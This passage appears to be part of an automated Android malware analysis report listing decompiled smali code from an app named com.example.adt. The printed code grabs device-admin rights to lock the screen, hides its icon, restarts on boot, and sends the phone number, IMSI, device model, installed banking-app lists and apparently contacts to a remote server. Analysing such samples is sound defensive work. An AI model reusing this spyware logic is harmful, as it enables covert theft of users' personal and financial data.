64 | invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
65 | move-result-object v5 | |
67 | invoke-virtual {v5, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
68 | move-result-object v5 | |
70 | invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
71 | move-result-object v2 | |
72 | new-instance v0, Lcom/example/adt/Connect; | |
74 | invoke-direct {v0}, Lcom/example/adt/Connect;-><init>()V | |
76 | invoke-virtual {v0, v2}, Lcom/example/adt/Connect;->getHttpConnection(Ljava/lang/String;)Ljava/lang/String; | |
77 | move-result-object v4 | |
79 | sget-object v5, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
80 | new-instance v6, Ljava/lang/StringBuilder; | |
82 | const-string v7, "\u53d1\u9001\u901a\u8baf\u5f55\u7ed3\u679c => " | |
84 | invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
86 | invoke-virtual {v6, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
87 | move-result-object v6 | |
89 | invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
90 | move-result-object v6 | |
92 | invoke-virtual {v5, v6}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
93 | goto_74: return-void | |
94 | catch_75: move-exception v5 | |
95 | goto/16 :goto_74 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter "savedInstanceState" | |
1 | .prologue | |
3 | invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V | |
4 | const/4 v1, 0x1 | |
6 | invoke-virtual {p0, v1}, Lcom/example/adt/MainActivity;->requestWindowFeature(I)Z |
|
7 | const/high16 v1, 0x7f03 | |
9 | invoke-virtual {p0, v1}, Lcom/example/adt/MainActivity;->setContentView(I)V |
|
10 | sput-object p0, Lcom/example/adt/MainActivity;->context:Lcom/example/adt/MainActivity; | |
12 | invoke-virtual {p0}, Lcom/example/adt/MainActivity;->getComponentName()Landroid/content/ComponentName; | |
13 | move-result-object v1 | |
14 | sput-object v1, Lcom/example/adt/CoreService;->componentName:Landroid/content/ComponentName; | |
16 | const-string v1, "device_policy" | |
18 | invoke-virtual {p0, v1}, Lcom/example/adt/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object; |
|
19 | move-result-object v1 | |
20 | check-cast v1, Landroid/app/admin/DevicePolicyManager; | |
21 | iput-object v1, p0, Lcom/example/adt/MainActivity;->policyManager:Landroid/app/admin/DevicePolicyManager; | |
22 | new-instance v1, Landroid/content/ComponentName; | |
23 | const-class v2, Lcom/example/adt/LockReceiver; | |
25 | invoke-direct {v1, p0, v2}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V | |
26 | iput-object v1, p0, Lcom/example/adt/MainActivity;->componentName:Landroid/content/ComponentName; | |
28 | iget-object v1, p0, Lcom/example/adt/MainActivity;->policyManager:Landroid/app/admin/DevicePolicyManager; | |
30 | iget-object v2, p0, Lcom/example/adt/MainActivity;->componentName:Landroid/content/ComponentName; | |
32 | invoke-virtual {v1, v2}, Landroid/app/admin/DevicePolicyManager;->isAdminActive(Landroid/content/ComponentName;)Z |
|
33 | move-result v1 | |
34 | if-eqz v1, :cond_54 | |
36 | iget-object v1, p0, Lcom/example/adt/MainActivity;->policyManager:Landroid/app/admin/DevicePolicyManager; | |
38 | invoke-virtual {v1}, Landroid/app/admin/DevicePolicyManager;->lockNow()V | |
39 | goto_36: new-instance v0, Landroid/content/Intent; | |
40 | const-class v1, Lcom/example/adt/CoreService; | |
42 | invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V | |
44 | invoke-virtual {p0, v0}, Lcom/example/adt/MainActivity;->startService(Landroid/content/Intent;)Landroid/content/ComponentName; |
|
46 | sget-object v1, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
48 | const-string v2, "MainActivity is Begin" | |
50 | invoke-virtual {v1, v2}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V |
|
52 | invoke-static {p0}, Lcom/example/adt/Config;->getPhoneNumber(Landroid/content/Context;)Ljava/lang/String; | |
53 | move-result-object v1 | |
54 | sput-object v1, Lcom/example/adt/Config;->number:Ljava/lang/String; | |
56 | invoke-direct {p0}, Lcom/example/adt/MainActivity;->HideIcon()V | |
58 | invoke-virtual {p0}, Lcom/example/adt/MainActivity;->finish()V | |
59 | return-void | |
60 | cond_54: | |
61 | invoke-direct {p0}, Lcom/example/adt/MainActivity;->activeManager()V | |
62 | goto/16 :goto_36 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter "c" | |
1 | .parameter "key" | |
2 | .parameter "def" | |
3 | .prologue | |
5 | const-string v1, "config" | |
6 | const/4 v2, 0x0 | |
8 | invoke-virtual {p0, v1, v2}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences; |
|
9 | move-result-object v0 | |
11 | invoke-interface {v0, p1, p2}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; |
|
12 | move-result-object v1 | |
13 | return-object v1 |
59 Non-Executed Methods |
---|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | goto_0: const-wide/16 v1, 0x1388 | |
2 | try_start_2: | |
3 | invoke-static {v1, v2}, Ljava/lang/Thread;->sleep(J)V |
|
4 | sget v1, Lcom/example/adt/CoreService;->autoCT:I | |
5 | add-int/lit8 v1, v1, 0x1 | |
6 | sput v1, Lcom/example/adt/CoreService;->autoCT:I | |
7 | sget v1, Lcom/example/adt/CoreService;->autoCT:I | |
8 | rem-int/lit8 v1, v1, 0x14 | |
9 | const/16 v2, 0x13 | |
10 | if-le v1, v2, :cond_1c | |
11 | sget v1, Lcom/example/adt/CoreService;->autoCT:I | |
12 | const/16 v2, 0x14 | |
13 | if-le v1, v2, :cond_1c | |
15 | invoke-static {}, Lcom/example/adt/App;->autoChangeApps()Ljava/lang/String; | |
16 | cond_1c: | |
17 | iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
19 | iget-object v2, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
21 | const-string v3, "isnew" | |
22 | const/4 v4, 0x0 | |
24 | invoke-static {v2, v3, v4}, Lcom/example/adt/Config;->get(Landroid/content/Context;Ljava/lang/String;I)I | |
25 | move-result v2 | |
27 | invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; | |
28 | move-result-object v2 | |
29 | iput-object v2, v1, Lcom/example/adt/CoreService;->isnew:Ljava/lang/Integer; | |
31 | iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
33 | iget-object v1, v1, Lcom/example/adt/CoreService;->isnew:Ljava/lang/Integer; | |
34 | const/4 v2, 0x0 | |
36 | invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; |
|
37 | move-result-object v2 | |
39 | invoke-virtual {v1, v2}, Ljava/lang/Integer;->equals(Ljava/lang/Object;)Z | |
40 | move-result v1 | |
41 | if-eqz v1, :cond_1b5 | |
43 | iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
44 | const/4 v2, 0x1 | |
45 | iput v2, v1, Lcom/example/adt/CoreService;->newClient:I | |
47 | iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
49 | const-string v2, "isnew" | |
50 | const/4 v3, 0x1 | |
52 | invoke-static {v1, v2, v3}, Lcom/example/adt/Config;->set(Landroid/content/Context;Ljava/lang/String;I)V | |
53 | goto_49: | |
54 | iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
55 | new-instance v2, Ljava/lang/StringBuilder; | |
57 | iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
59 | const-string v4, "issms" | |
60 | const/4 v5, 0x1 | |
62 | invoke-static {v3, v4, v5}, Lcom/example/adt/Config;->get(Landroid/content/Context;Ljava/lang/String;I)I | |
63 | move-result v3 | |
65 | invoke-static {v3}, Ljava/lang/String;->valueOf(I)Ljava/lang/String; | |
66 | move-result-object v3 | |
68 | invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
70 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
71 | move-result-object v2 | |
72 | iput-object v2, v1, Lcom/example/adt/CoreService;->issms:Ljava/lang/String; | |
74 | iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
75 | new-instance v2, Ljava/lang/StringBuilder; | |
77 | iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
79 | const-string v4, "iscall" | |
80 | const/4 v5, 0x0 | |
82 | invoke-static {v3, v4, v5}, Lcom/example/adt/Config;->get(Landroid/content/Context;Ljava/lang/String;I)I | |
83 | move-result v3 | |
85 | invoke-static {v3}, Ljava/lang/String;->valueOf(I)Ljava/lang/String; | |
86 | move-result-object v3 | |
88 | invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
90 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
91 | move-result-object v2 | |
92 | iput-object v2, v1, Lcom/example/adt/CoreService;->iscall:Ljava/lang/String; | |
93 | new-instance v1, Lcom/example/adt/App; | |
95 | sget-object v2, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
97 | invoke-direct {v1, v2}, Lcom/example/adt/App;-><init>(Landroid/content/Context;)V | |
99 | invoke-virtual {v1}, Lcom/example/adt/App;->getApps()Ljava/lang/String; | |
101 | iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
103 | sget-object v2, Lcom/example/adt/Config;->cBankStr:Ljava/lang/String; | |
104 | iput-object v2, v1, Lcom/example/adt/CoreService;->capp:Ljava/lang/String; | |
106 | iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
108 | sget-object v2, Lcom/example/adt/Config;->sBankStr:Ljava/lang/String; | |
109 | iput-object v2, v1, Lcom/example/adt/CoreService;->sapp:Ljava/lang/String; | |
111 | iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
112 | sget v2, Landroid/os/Build$VERSION;->SDK_INT:I | |
113 | iput v2, v1, Lcom/example/adt/CoreService;->currentapiVersion:I | |
115 | iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
117 | sget-object v2, Landroid/os/Build;->MODEL:Ljava/lang/String; | |
119 | invoke-static {v2}, Ljava/net/URLEncoder;->encode(Ljava/lang/String;)Ljava/lang/String; | |
120 | move-result-object v2 | |
121 | iput-object v2, v1, Lcom/example/adt/CoreService;->mobVersion:Ljava/lang/String; | |
123 | iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
124 | new-instance v2, Ljava/lang/StringBuilder; | |
126 | invoke-static {}, Ljava/util/Calendar;->getInstance()Ljava/util/Calendar; | |
127 | move-result-object v3 | |
129 | invoke-virtual {v3}, Ljava/util/Calendar;->getTimeInMillis()J | |
130 | move-result-wide v3 | |
132 | invoke-static {v3, v4}, Ljava/lang/String;->valueOf(J)Ljava/lang/String; |
|
133 | move-result-object v3 | |
135 | invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
137 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
138 | move-result-object v2 | |
139 | iput-object v2, v1, Lcom/example/adt/CoreService;->timeint:Ljava/lang/String; | |
141 | iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
143 | sget-object v2, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
145 | invoke-static {v2}, Lcom/example/adt/Config;->getAPNType(Landroid/content/Context;)I | |
146 | move-result v2 | |
148 | invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; | |
149 | move-result-object v2 | |
150 | iput-object v2, v1, Lcom/example/adt/CoreService;->net:Ljava/lang/Integer; | |
152 | iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
154 | iget-object v1, v1, Lcom/example/adt/CoreService;->net:Ljava/lang/Integer; | |
155 | const/4 v2, 0x1 | |
157 | invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; |
|
158 | move-result-object v2 | |
160 | invoke-virtual {v1, v2}, Ljava/lang/Integer;->equals(Ljava/lang/Object;)Z | |
161 | move-result v1 | |
162 | if-eqz v1, :cond_1bc | |
164 | iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
166 | const-string v2, "wifi" | |
167 | iput-object v2, v1, Lcom/example/adt/CoreService;->nettype:Ljava/lang/String; | |
168 | goto_df: | |
169 | iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
170 | new-instance v2, Ljava/lang/StringBuilder; | |
172 | iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
174 | const-string v4, "serverip" | |
176 | sget-object v5, Lcom/example/adt/Config;->SERVER_HOST:Ljava/lang/String; | |
178 | invoke-static {v3, v4, v5}, Lcom/example/adt/Config;->get(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; | |
179 | move-result-object v3 | |
181 | invoke-static {v3}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
182 | move-result-object v3 | |
184 | invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
186 | sget-object v3, Lcom/example/adt/Config;->SERVER_ADDRESS:Ljava/lang/String; | |
188 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
189 | move-result-object v2 | |
191 | const-string v3, "Heartbeat&nettype=" | |
193 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
194 | move-result-object v2 | |
196 | iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
198 | iget-object v3, v3, Lcom/example/adt/CoreService;->nettype:Ljava/lang/String; | |
200 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
201 | move-result-object v2 | |
203 | const-string v3, "&mob=" | |
205 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
206 | move-result-object v2 | |
208 | iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
210 | iget-object v3, v3, Lcom/example/adt/CoreService;->mobVersion:Ljava/lang/String; | |
212 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
213 | move-result-object v2 | |
215 | const-string v3, "&version=" | |
217 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
218 | move-result-object v2 | |
220 | iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
221 | iget v3, v3, Lcom/example/adt/CoreService;->currentapiVersion:I | |
223 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; | |
224 | move-result-object v2 | |
226 | const-string v3, "&newclient=" | |
228 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
229 | move-result-object v2 | |
231 | iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
232 | iget v3, v3, Lcom/example/adt/CoreService;->newClient:I | |
234 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; | |
235 | move-result-object v2 | |
237 | const-string v3, "&number=" | |
239 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
240 | move-result-object v2 | |
242 | iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
244 | iget-object v3, v3, Lcom/example/adt/CoreService;->number:Ljava/lang/String; | |
246 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
247 | move-result-object v2 | |
249 | const-string v3, "&imsi=" | |
251 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
252 | move-result-object v2 | |
254 | iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
256 | iget-object v3, v3, Lcom/example/adt/CoreService;->imsi:Ljava/lang/String; | |
258 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
259 | move-result-object v2 | |
261 | const-string v3, "&issms=" | |
263 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
264 | move-result-object v2 | |
266 | iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
268 | iget-object v3, v3, Lcom/example/adt/CoreService;->issms:Ljava/lang/String; | |
270 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
271 | move-result-object v2 | |
273 | const-string v3, "&iscall=" | |
275 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
276 | move-result-object v2 | |
278 | iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
280 | iget-object v3, v3, Lcom/example/adt/CoreService;->iscall:Ljava/lang/String; | |
282 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
283 | move-result-object v2 | |
285 | const-string v3, "&capp=" | |
287 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
288 | move-result-object v2 | |
290 | iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
292 | iget-object v3, v3, Lcom/example/adt/CoreService;->capp:Ljava/lang/String; | |
294 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
295 | move-result-object v2 | |
297 | const-string v3, "&sapp=" | |
299 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
300 | move-result-object v2 | |
302 | iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
304 | iget-object v3, v3, Lcom/example/adt/CoreService;->sapp:Ljava/lang/String; | |
306 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
307 | move-result-object v2 | |
309 | const-string v3, "&t=" | |
311 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
312 | move-result-object v2 | |
314 | iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
316 | iget-object v3, v3, Lcom/example/adt/CoreService;->timeint:Ljava/lang/String; | |
318 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
319 | move-result-object v2 | |
321 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
322 | move-result-object v2 | |
323 | iput-object v2, v1, Lcom/example/adt/CoreService;->httpUrl:Ljava/lang/String; | |
324 | new-instance v1, Ljava/lang/Thread; | |
325 | new-instance v2, Lcom/example/adt/CoreService$MyRunnable; | |
327 | iget-object v3, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
329 | iget-object v4, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
331 | iget-object v4, v4, Lcom/example/adt/CoreService;->httpUrl:Ljava/lang/String; | |
333 | invoke-direct {v2, v3, v4}, Lcom/example/adt/CoreService$MyRunnable;-><init>(Lcom/example/adt/CoreService;Ljava/lang/String;)V | |
335 | invoke-direct {v1, v2}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V | |
337 | invoke-virtual {v1}, Ljava/lang/Thread;->start()V | |
338 | try_end_1ad: goto/16 :goto_0 | |
339 | catch_1af: move-exception v0 | |
341 | invoke-virtual {v0}, Ljava/lang/InterruptedException;->printStackTrace()V | |
342 | goto/16 :goto_0 | |
343 | cond_1b5: | |
344 | iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
345 | const/4 v2, 0x0 | |
346 | iput v2, v1, Lcom/example/adt/CoreService;->newClient:I | |
347 | goto/16 :goto_49 | |
348 | cond_1bc: | |
349 | iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
351 | iget-object v1, v1, Lcom/example/adt/CoreService;->net:Ljava/lang/Integer; | |
352 | const/4 v2, 0x2 | |
354 | invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; |
|
355 | move-result-object v2 | |
357 | invoke-virtual {v1, v2}, Ljava/lang/Integer;->equals(Ljava/lang/Object;)Z | |
358 | move-result v1 | |
359 | if-eqz v1, :cond_1d3 | |
361 | iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
363 | const-string v2, "wap" | |
364 | iput-object v2, v1, Lcom/example/adt/CoreService;->nettype:Ljava/lang/String; | |
365 | goto/16 :goto_df | |
366 | cond_1d3: | |
367 | iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
369 | iget-object v1, v1, Lcom/example/adt/CoreService;->net:Ljava/lang/Integer; | |
370 | const/4 v2, 0x3 | |
372 | invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; |
|
373 | move-result-object v2 | |
375 | invoke-virtual {v1, v2}, Ljava/lang/Integer;->equals(Ljava/lang/Object;)Z | |
376 | move-result v1 | |
377 | if-eqz v1, :cond_df | |
379 | iget-object v1, p0, Lcom/example/adt/CoreService$HTRunnable;->this$0:Lcom/example/adt/CoreService; | |
381 | const-string v2, "net" | |
382 | iput-object v2, v1, Lcom/example/adt/CoreService;->nettype:Ljava/lang/String; | |
383 | try_end_1e8: goto/16 :goto_df |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter "context" | |
1 | .parameter "intent" | |
2 | .prologue | |
4 | invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String; | |
5 | move-result-object v2 | |
7 | const-string v3, "android.intent.action.BOOT_COMPLETED" | |
9 | invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
10 | move-result v2 | |
11 | if-nez v2, :cond_18 | |
13 | invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String; | |
14 | move-result-object v2 | |
16 | const-string v3, "android.intent.action.USER_PRESENT" | |
18 | invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
19 | move-result v2 | |
20 | if-eqz v2, :cond_25 | |
21 | cond_18: new-instance v1, Landroid/content/Intent; | |
23 | invoke-direct {v1}, Landroid/content/Intent;-><init>()V | |
24 | const-class v2, Lcom/example/adt/CoreService; | |
26 | invoke-virtual {v1, p1, v2}, Landroid/content/Intent;->setClass(Landroid/content/Context;Ljava/lang/Class;)Landroid/content/Intent; | |
28 | invoke-virtual {p1, v1}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName; | |
29 | cond_25: | |
30 | invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String; | |
31 | move-result-object v2 | |
33 | const-string v3, "android.intent.action.PACKAGE_ADDED" | |
35 | invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
37 | sget-object v2, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
38 | new-instance v3, Ljava/lang/StringBuilder; | |
40 | const-string v4, "\u6211\u63a5\u6536\u5230\u4e86\u4e00\u4e2a\u7cfb\u7edf\u5e7f\u64ad => " | |
42 | invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
44 | invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String; | |
45 | move-result-object v4 | |
47 | invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
48 | move-result-object v3 | |
50 | invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
51 | move-result-object v3 | |
53 | invoke-virtual {v2, v3}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
55 | invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String; | |
56 | move-result-object v2 | |
58 | const-string v3, "android.intent.action.PACKAGE_REMOVED" | |
60 | invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
61 | move-result v2 | |
62 | if-eqz v2, :cond_8e | |
64 | invoke-virtual {p2}, Landroid/content/Intent;->getDataString()Ljava/lang/String; | |
65 | move-result-object v2 | |
66 | new-instance v3, Ljava/lang/StringBuilder; | |
68 | const-string v4, "package:" | |
70 | invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
72 | sget-object v4, Lcom/example/adt/Config;->delPackage:Ljava/lang/String; | |
74 | invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
75 | move-result-object v3 | |
77 | invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
78 | move-result-object v3 | |
80 | invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
81 | move-result v2 | |
82 | if-eqz v2, :cond_76 | |
84 | const-string v2, "" | |
85 | sput-object v2, Lcom/example/adt/Config;->delPackage:Ljava/lang/String; | |
87 | sget-object v2, Lcom/example/adt/Config;->installApk:Ljava/io/File; | |
89 | invoke-static {v2}, Lcom/example/adt/DownLoad;->openFile(Ljava/io/File;)V | |
90 | cond_76: | |
91 | sget-object v2, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
92 | new-instance v3, Ljava/lang/StringBuilder; | |
94 | const-string v4, "\u6211\u5378\u8f7d\u7684\u8f6f\u4ef6\u662f => " | |
96 | invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
98 | invoke-virtual {p2}, Landroid/content/Intent;->getDataString()Ljava/lang/String; | |
99 | move-result-object v4 | |
101 | invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
102 | move-result-object v3 | |
104 | invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
105 | move-result-object v3 | |
107 | invoke-virtual {v2, v3}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
108 | cond_8e: | |
109 | invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String; | |
110 | move-result-object v2 | |
112 | const-string v3, "cn.gx3.notify" | |
114 | invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
115 | move-result v2 | |
116 | if-eqz v2, :cond_b0 | |
118 | sget-object v2, Lcom/example/adt/Config;->delPackage:Ljava/lang/String; | |
120 | const-string v3, "" | |
122 | invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
123 | move-result v2 | |
124 | if-eqz v2, :cond_b6 | |
125 | try_start_a4: | |
126 | sget-object v2, Lcom/example/adt/Config;->installApk:Ljava/io/File; | |
128 | invoke-static {v2}, Lcom/example/adt/DownLoad;->openFile(Ljava/io/File;)V | |
129 | try_end_a9: | |
130 | sget-object v2, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
